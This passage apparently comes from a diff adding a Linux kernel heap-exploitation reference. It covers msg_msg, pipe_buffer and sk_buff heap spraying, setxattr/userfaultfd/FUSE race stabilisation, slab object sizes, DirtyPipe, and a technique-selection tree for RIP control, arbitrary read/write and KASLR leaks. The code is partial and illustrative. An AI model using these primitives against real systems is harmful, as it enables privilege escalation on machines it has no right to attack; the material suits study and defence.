+ `struct msg_msg` is allocated via `msgsnd()` and freed via `msgrcv()`. Highly flexible size (48-byte header + arbitrary data).
114
+
115
+ ### Structure Layout
116
+
117
+ ```c
118
+ struct msg_msg {
119
+ struct list_head m_list; // 0x00: prev/next pointers
120
+ long m_type; // 0x10: message type
121
+ size_t m_ts; // 0x18: total message size
122
+ struct msg_msgseg *next; // 0x20: pointer to continuation segment
123
+ void *security; // 0x28: SELinux label
124
+ // user data starts at offset 0x30
125
+ };
126
+ ```
127
+
128
+ ### Exploitation Patterns
129
+
130
+ | Technique | Method |
131
+ |---|---|
132
+ | Arbitrary read | UAF/OOB: corrupt `m_ts` to large value → `msgrcv()` reads past message boundary |
133
+ | Arbitrary read (chained) | Corrupt `next` pointer to target address → `msgrcv()` follows chain, reads target data |
134
+ | Heap spray | `msgsnd()` with controlled size → lands in target kmalloc cache |
135
+ | Flexible size | Data size → allocates from `kmalloc-{64,96,128,...,4096}` or `kmalloc-cg-*` |
136
+
137
+ ```python
138
+ # msg_msg for heap spray (pseudo)
139
+ import ctypes
140
+ # msg_msg header = 0x30 bytes
141
+ # To hit kmalloc-64: send 64 - 0x30 = 0x30 bytes of data
142
+ # To hit kmalloc-96: send 96 - 0x30 = 0x60 bytes of data
143
+
144
+ # For reading: after corrupting m_ts or next:
145
+ msgrcv(qid, buf, large_size, type, IPC_NOWAIT | MSG_COPY)
146
+ # MSG_COPY: read without removing → allows repeated reads
147
+ ```
148
+
149
+ ---
150
+
151
+ ## 5. pipe_buffer EXPLOITATION
152
+
153
+ `struct pipe_buffer` is allocated when using `pipe()` and `splice()`.
154
+
155
+ ### Structure Layout
156
+
157
+ ```c
158
+ struct pipe_buffer {
159
+ struct page *page; // 0x00
160
+ unsigned int offset, len; // 0x08
161
+ const struct pipe_buf_operations *ops; // 0x10 ← function pointer table
162
+ unsigned int flags; // 0x18
163
+ unsigned long private; // 0x20
164
+ };
165
+ // Size: 0x28 per buffer, 16 buffers per pipe → one allocation = 0x280
166
+ ```
167
+
168
+ ### Exploitation
169
+
170
+ | Technique | Method |
171
+ |---|---|
172
+ | RIP control | UAF overwrite `ops` pointer → `pipe_release()` calls `ops->release` |
173
+ | KASLR leak | Read `ops` pointer → `anon_pipe_buf_ops` at known kernel offset |
174
+ | Page reference | Corrupt `page` pointer → reference arbitrary physical page |
175
+
176
+ ```c
177
+ // To allocate pipe_buffers:
178
+ int fd[2];
179
+ pipe(fd);
180
+ // Write > PIPE_BUF to allocate pipe_buffer array
181
+ write(fd[1], buf, PIPE_BUF + 1); // or use splice() + F_SETPIPE_SZ
182
+
183
+ // Trigger: close(fd[0]) or close(fd[1]) → calls ops->release
184
+ ```
185
+
186
+ ### DirtyPipe (CVE-2022-0847)
187
+
188
+ Abused `pipe_buffer` flags: `PIPE_BUF_FLAG_CAN_MERGE` set on a page from `splice()` → subsequent `write()` to pipe overwrites the page cache of any file, including read-only files.
189
+
190
+ ---
191
+
192
+ ## 6. sk_buff EXPLOITATION
193
+
194
+ `struct sk_buff` (socket buffer) is used for network packet handling. Flexible size, controllable data.
195
+
196
+ ### Key Properties
197
+
198
+ | Property | Value |
199
+ |---|---|
200
+ | Allocation | `kmalloc-*` or dedicated slab depending on size |
201
+ | Data control | Full control over packet payload |
202
+ | Spray | Send UDP/TCP packets → allocates sk_buff with controlled data |
203
+ | Read back | Receive packets → reads sk_buff data |
204
+ | Timing | Network operations can be timed for race conditions |
205
+
206
+ ### Spray Technique
207
+
208
+ ```c
209
+ // Create socket
210
+ int sock = socket(AF_INET, SOCK_DGRAM, 0);
211
+ // Spray: send many UDP packets (each allocates sk_buff + data)
212
+ for (int i = 0; i < SPRAY_N; i++) {
213
+ sendto(sock, payload, size, MSG_DONTWAIT, &addr, sizeof(addr));
214
+ }
215
+ // Payload data appears in kmalloc-* slab
216
+ // Reclaim by recvfrom() or let socket close
217
+ ```
218
+
219
+ ---
220
+
221
+ ## 7. setxattr / userfaultfd / FUSE PRIMITIVES
222
+
223
+ ### setxattr (Universal Heap Write)
224
+
225
+ ```c
226
+ // setxattr allocates a temporary kernel buffer with arbitrary size and content
227
+ // then copies user data → kernel buffer → frees buffer
228
+ // Useful for: spraying any kmalloc cache, timing attacks
229
+ setxattr("/tmp/x", "user.attr", payload, size, XATTR_CREATE);
230
+ // Buffer is kmalloc'd with controlled size and content, then freed
231
+ // Race: userfaultfd on payload page to pause between alloc and free
232
+ ```
233
+
234
+ ### userfaultfd (Race Condition Stabilizer)
235
+
236
+ Register a user-mode handler for page faults. When kernel accesses a userfaultfd-registered page, execution pauses until userspace handler responds → deterministic race window.
237
+
238
+ ```c
239
+ // 1. Register userfaultfd on a mapped page
240
+ // 2. Trigger kernel operation that accesses this page
241
+ // 3. Kernel blocks in page fault → do heap manipulation in another thread
242
+ // 4. Resolve page fault → kernel continues with manipulated heap
243
+ ```
244
+
245
+ **Restriction**: `userfaultfd` may require `CAP_SYS_PTRACE` on newer kernels (≥ 5.11 with sysctl `vm.unprivileged_userfaultfd=0`).
246
+
247
+ ### FUSE (Alternative to userfaultfd)
248
+
249
+ Mount a FUSE filesystem. Kernel reads from FUSE file → blocks until userspace FUSE handler responds. Same race window effect as userfaultfd.
250
+
251
+ ---
252
+
253
+ ## 8. COMMON KERNEL OBJECT SIZE TABLE
254
+
255
+ | Object | Size (x86-64) | Slab Cache |
256
+ |---|---|---|
257
+ | `seq_operations` | 0x20 | kmalloc-32 |
258
+ | `msg_msg` (header only) | 0x30 + data | kmalloc-64 to kmalloc-4096 |
259
+ | `subprocess_info` | 0x60 | kmalloc-96 |
260
+ | `shm_file_data` | 0x20 | kmalloc-32 |
261
+ | `pipe_buffer` × 16 | 0x280 | kmalloc-1024 |
262
+ | `sk_buff` (head) | ~0xE0 | skbuff_head_cache |
263
+ | `cred` | 0xA8 | cred_jar (dedicated) |
264
+ | `file` | 0x100 | filp (dedicated) |
265
+ | `inode` | varies | inode_cache (dedicated) |
266
+ | `tty_struct` | 0x2B8 | kmalloc-1024 |
267
+ | `timerfd_ctx` | 0x68 | kmalloc-128 |
268
+ | `poll_list` | 0x10 + variable | kmalloc-32 to kmalloc-4096 |
269
+
270
+ ---
271
+
272
+ ## 9. TECHNIQUE SELECTION
273
+
274
+ ```
275
+ Kernel UAF/OOB in which cache?
276
+ ├── Same as generic kmalloc-{N}?
277
+ │ └── Direct spray: msg_msg, sk_buff, setxattr, add_key
278
+ ├── Dedicated cache (cred_jar, filp, etc.)?
279
+ │ └── Cross-cache attack needed:
280
+ │ 1. Drain target cache → force new slab pages
281
+ │ 2. Free all objects in target slab page
282
+ │ 3. Page returns to buddy allocator
283
+ │ 4. Spray generic objects → page reallocated to attacker cache
284
+ ├── What primitive do you need?
285
+ │ ├── Controlled RIP → spray pipe_buffer (ops pointer) or seq_operations
286
+ │ ├── Arbitrary read → spray msg_msg (corrupt m_ts or next)
287
+ │ ├── Arbitrary write → spray msg_msg + modify → msgrcv for reclaim
288
+ │ └── KASLR leak → spray pipe_buffer → read ops (kernel .text pointer)
289
+ └── Race condition stabilization?
290
+ ├── userfaultfd available → register on target page
291
+ ├── FUSE available → mount FUSE filesystem
292
+ └── Neither → timing-based (less reliable)
293
+ ```